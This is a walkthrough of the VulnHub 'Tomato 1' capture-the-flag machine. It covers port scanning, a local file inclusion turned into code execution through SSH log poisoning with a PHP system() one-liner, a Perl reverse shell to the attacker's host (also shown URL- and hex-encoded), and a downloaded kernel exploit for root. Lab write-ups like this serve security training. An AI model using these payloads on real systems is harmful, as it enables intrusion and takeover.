Capture the flag (CTF)

Tomato 1: VulnHub CTF walkthrough

March 29, 2021 by LetsPen Test

Information shared in this article is intended for educational purposes only. Infosec and the author are not responsible for nefarious actions associated with the information shared in this article.

This Capture the Flag (CTF) challenge posted on Vulnhub (Vulnhub.com is a platform providing vulnerable applications/machines to gain practical hands-on experience in the field of information security) requires you to gain root access and read the flag file.

As per the information given on Vulnhub, this was posted by author SunCSR. The difficulty level of this CTF ranges from medium to hard. Prerequisites include some knowledge of Linux commands and the ability to run some basic pentesting tools.

Download the CTF here and run it on VirtualBox. The torrent downloadable URL is also available for this VM, which can be found in the sources section below.

https://download.vulnhub.com/tomato/Tomato.ova

VulnHub is a well-known website for security researchers looking to practice their hacking skills through a series of challenges in a safe and legal environment. You can download vulnerable machines from this website and try to exploit them.

Please Note: For all of these machines, I have used Oracle VirtualBox to run the downloaded machine. I am using Kali Linux as an attacker machine for solving this CTF. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets.

The steps

Summary of the steps required to solve this CTF:

  • Getting the target machine IP address by running the VirtualBox
  • Getting open port details by using the Nmap tool
  • Enumerating HTTP service with DIRB
  • Taking reverse shell by exploiting local file inclusion vulnerability (LFI)
  • Privilege escalation by using the kernel exploit

The walkthrough

Step one

After downloading and running this machine on VirtualBox, the first step is to explore the VM by running a netdiscover command to get the IP address of the target machine. The netdiscover command output can be seen in the screenshot given below:

Command used <netdiscover>

In the above screenshot, you may see we’ve got the virtual machine IP address: 192.168.1.9 (the target machine IP address). We will be using 192.168.1.17 as the attacker IP address.

Please note: the target and attacker machine IP addresses may be different as per your network configuration.

Step two

After getting the target machine’s IP address, the first step is to find out the open ports and services available on the machine. I conducted an Nmap full port scan for this. The Nmap results can be seen in the screenshot given below:

Command used: << nmap -sV -p- 192.168.1.19 >>

In the above screenshot, we can see that our Nmap command has been completed successfully and provided us the information regarding open ports on the target machine. In the Nmap command, we provided a “-p-” switch to scan all the available 65535 ports on the target machine, as without this switch, Nmap will only scan default ports.

From the scan results, we found that port 21 is open on the target machine, which is being used for FTP service. Port 2211 is being used for SSH and port 8888 and 80 are being used for HTTP services.

We will explore these ports and services one by one to find vulnerabilities and loopholes in the system.

Step three

In this step, let’s start the target machine enumeration from port 80. Open the target machine IP address on the browser. This can be seen in the following screenshot:

As we can see, we got a picture of a tomato on the browser and no other functionality could be found. We decided to explore this port further by searching for hidden files and folders on the target machine. This can be done with the help of automated enumeration tools. We used the DIRB tool for this purpose, which is an effective utility to enumerate files and folders and is available by default on Kali Linux. The scan command and output can be seen below:

Command used: << dirb http://192.168.1.9 >>

In the above scan results, we found one directory where the directory listing was enabled. Let’s open it in the browser.

The above screenshot shows the directory identified by the DIRB tool on the target machine. Let’s open it and explore further content.

As we opened the directory into the browser, we found a lot of files and folders available for direct access. We started analyzing each file and folder for further clues. There we identified an interesting file, which can be seen in the following screenshot:

In the above screenshot, we can see the phpinfo file is available, which contains useful information about the system. During the analysis, we found some php code in the comments section of the source.

In the highlighted area of the above screenshot, we can see the code, which is given as a comment in HTML and seems interesting. We will check this parameter in the next step.

 

Step four

From the previous step, we know that there was a parameter, so we tested it and found it is a vulnerable local file inclusion vulnerability. We can read the ‘/etc/passwd’ file from the server, which can be seen in the following screenshot:

We can see the ‘passwd’ file contents in the highlighted area of the above screenshot. From the ‘/etc/password’ file, we find information of all the available users on our target machine, but we don’t have any passwords so far, so we cannot log in to SSH. However, we can read other files on the server by guessing their correct path. We were able to read ‘auth.log’ file, which can be seen in the following screenshot:

After going through the log contents, we got to know the kind of logs being stored by the target machine. We found that along with other authentication data, it also stores all the SSH authentication-related logs. To verify this, let’s try to log in with SSH with a random username and then see if that user is available in logs or not.

Command used: << ssh hehe@192.168.1.9 -p2211 >>

As we can see in the above screenshot, we tried to log in with a random user with SSH and provided a random password. At the same time, we checked the logs for usernames and the highlighted area shows that we got the username in the logs. We can use this feature for writing files on our target system and then we can use it for executing the code. First, write command in logs by logging into SSH, shown in the following screenshot:

Command used:

ssh ‘<?php echo system($_REQUEST[‘cmd’]); ?>’@192.168.1.9 -p2211

As can be seen in the above screenshot, we provided the php execution code with the SSH command. We verified the log file, and the code was successfully written into the log file. Since the include function was being used for this parameter it means we can include this file for executing commands and run any system commands on our target system. So, let us verify this by running the ls -l command. The output can be seen in the following screenshot:

We can now use the php command execution code to take the reverse shell. To take the reverse shell, we first need to verify which payload can be used. We checked for Python and nc utility, but none of them were available on our target system. However, Perl is available, which was verified by running the help command. It can be seen in the following screenshot:

Perl can be used for taking the reverse connection, so let’s prepare our payload which we need to execute on the target machine.

Payload

perl -e ‘use Socket;$i=”192.168.1.17″;$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’

The red highlighted text shows the IP address of the attacker machine, and we mentioned the port number where the reverse connection will be received on the attacker machine.

Command used:

http://192.168.1.9/antibot_image/antibots/info.php?image=../../../../../../var/log/auth.log HYPERLINK “http://192.168.1.9/antibot_image/antibots/info.php?image=../../../../../../var/log/auth.log&cmd=perl%20-e%20%27use%20Socket%3b%24i%3d%22192.168.1.17%22%3b%24p%3d1234%3bsocket%28S%2cPF_INET%2cSOCK_STREAM%2cgetprotobyname%28%22tcp%22%29%29%3bif%28connect%28S%2csockaddr_in%28%24p%2cinet_aton%28%24i%29%29%29%29%7bopen%28STDIN%2c%22%3e%26S%22%29%3bopen%28STDOUT%2c%22%3e%26S%22%29%3bopen%28STDERR%2c%22%3e%26S%22%29%3bexec%28%22%2fbin%2fsh%20-i%22%29%3b%7d%3b%27″& HYPERLINK “http://192.168.1.9/antibot_image/antibots/info.php?image=../../../../../../var/log/auth.log&cmd=perl%20-e%20%27use%20Socket%3b%24i%3d%22192.168.1.17%22%3b%24p%3d1234%3bsocket%28S%2cPF_INET%2cSOCK_STREAM%2cgetprotobyname%28%22tcp%22%29%29%3bif%28connect%28S%2csockaddr_in%28%24p%2cinet_aton%28%24i%29%29%29%29%7bopen%28STDIN%2c%22%3e%26S%22%29%3bopen%28STDOUT%2c%22%3e%26S%22%29%3bopen%28STDERR%2c%22%3e%26S%22%29%3bexec%28%22%2fbin%2fsh%20-i%22%29%3b%7d%3b%27″cmd=%70%65%72%6c%20%2d%65%20%27%75%73%65%20%53%6f%63%6b%65%74%3b%24%69%3d%22%31%39%32%2e%31%36%38%2e%31%2e%31%37%22%3b%24%70%3d%31%32%33%34%3b%73%6f%63%6b%65%74%28%53%2c%50%46%5f%49%4e%45%54%2c%53%4f%43%4b%5f%53%54%52%45%41%4d%2c%67%65%74%70%72%6f%74%6f%62%79%6e%61%6d%65%28%22%74%63%70%22%29%29%3b%69%66%28%63%6f%6e%6e%65%63%74%28%53%2c%73%6f%63%6b%61%64%64%72%5f%69%6e%28%24%70%2c%69%6e%65%74%5f%61%74%6f%6e%28%24%69%29%29%29%29%7b%6f%70%65%6e%28%53%54%44%49%4e%2c%22%3e%26%53%22%29%3b%6f%70%65%6e%28%53%54%44%4f%55%54%2c%22%3e%26%53%22%29%3b%6f%70%65%6e%28%53%54%44%45%52%52%2c%22%3e%26%53%22%29%3b%65%78%65%63%28%22%2f%62%69%6e%2f%73%68%20%2d%69%22%29%3b%7d%3b%27

The following steps were performed on the attacker machine to ensure successful execution of the reverse connection:

  • First, we verified the attacker machine IP address and added that IP address for reverse connection into the payload
  • We started the nc on the mentioned port 1234 for reverse connection
  • We added the payload in the URL and hit it
  • We got the reverse connection shell on our attacker machine

We have the shell of the target system but it does not have root privileges. In the next step, we will dig into details to get the root access.

Step five

After getting the shell access of the target machine, we started exploring the target machine to gather information about the running operating system (OS) and kernel version. In the below screenshot, we can see the OS and version information on the target machine:

Command used:

  • << uname -a >>
  • << cat /etc/issue >>

The highlighted area shows our target machine is running an older version of Ubuntu (16.04) and the kernel version is as well. Search using Google find an available exploit to proceed further towards our goal.

As can be seen above, there are a lot of exploits available for the currently installed kernel version. As our goal is to gain root access of the target machine, we decided to use the privilege escalation exploit for our purpose. The exploit-db URL for the vulnerability can be seen in the screenshot given below:

After reading the exploit description, we found that it was written in C, but C Compiler was not available on our target machine. First, I downloaded the exploit on my local machine and compiled it using a C Compiler and transferred it into the attacker machine by using the wget utility, which can be seen in the following screenshot:

Commands used:

  • << wget https://www.exploit-db.com/raw/45010 >> The wget utility was used to download the payload from the exploit-db website
  • << mv 45010 45010.c >> Renamed the exploit file name to 45010.c
  • << gcc 45010.c >> Compiled it using the gcc compiler
  • << /etc/init.d/apache2 start >> Started the apache service on the attacker machine

We now have our exploit compiled and ready to be executed. We need to transfer it to the target machine. For this, we placed the file in the HTML directory on our attacker machine. Then we download the file on the target machine using the wget utility. The downloadable URL can be seen in the following screenshot:

Command used:

In the above screenshot, after downloading the exploit on the target machine, we gave executable permission to the ‘a.out’ file using chmod. After that, we executed the payload on the target machine. As per the exploit description, successful execution should provide root access on the target machine. We verified the current user by the ‘id’ command and found that the user has changed to root.

As we have the root access of the target machine, the last step is to read the flag file. The flag file was named ‘proof.txt’ and was situated in the root folder.

Command used: << /root/proof.txt >>

This completed the challenge; we have root access as well as read the flag file. I hope you enjoyed solving this CTF.

 

Sources:

Tomato: 1, Vulnhub

Tomato: 1, Vulnhub

Tomato: 1, Vulnhub

Posted: March 29, 2021
Articles Author
LetsPen Test
View Profile

Leave a Reply

Your email address will not be published. Required fields are marked *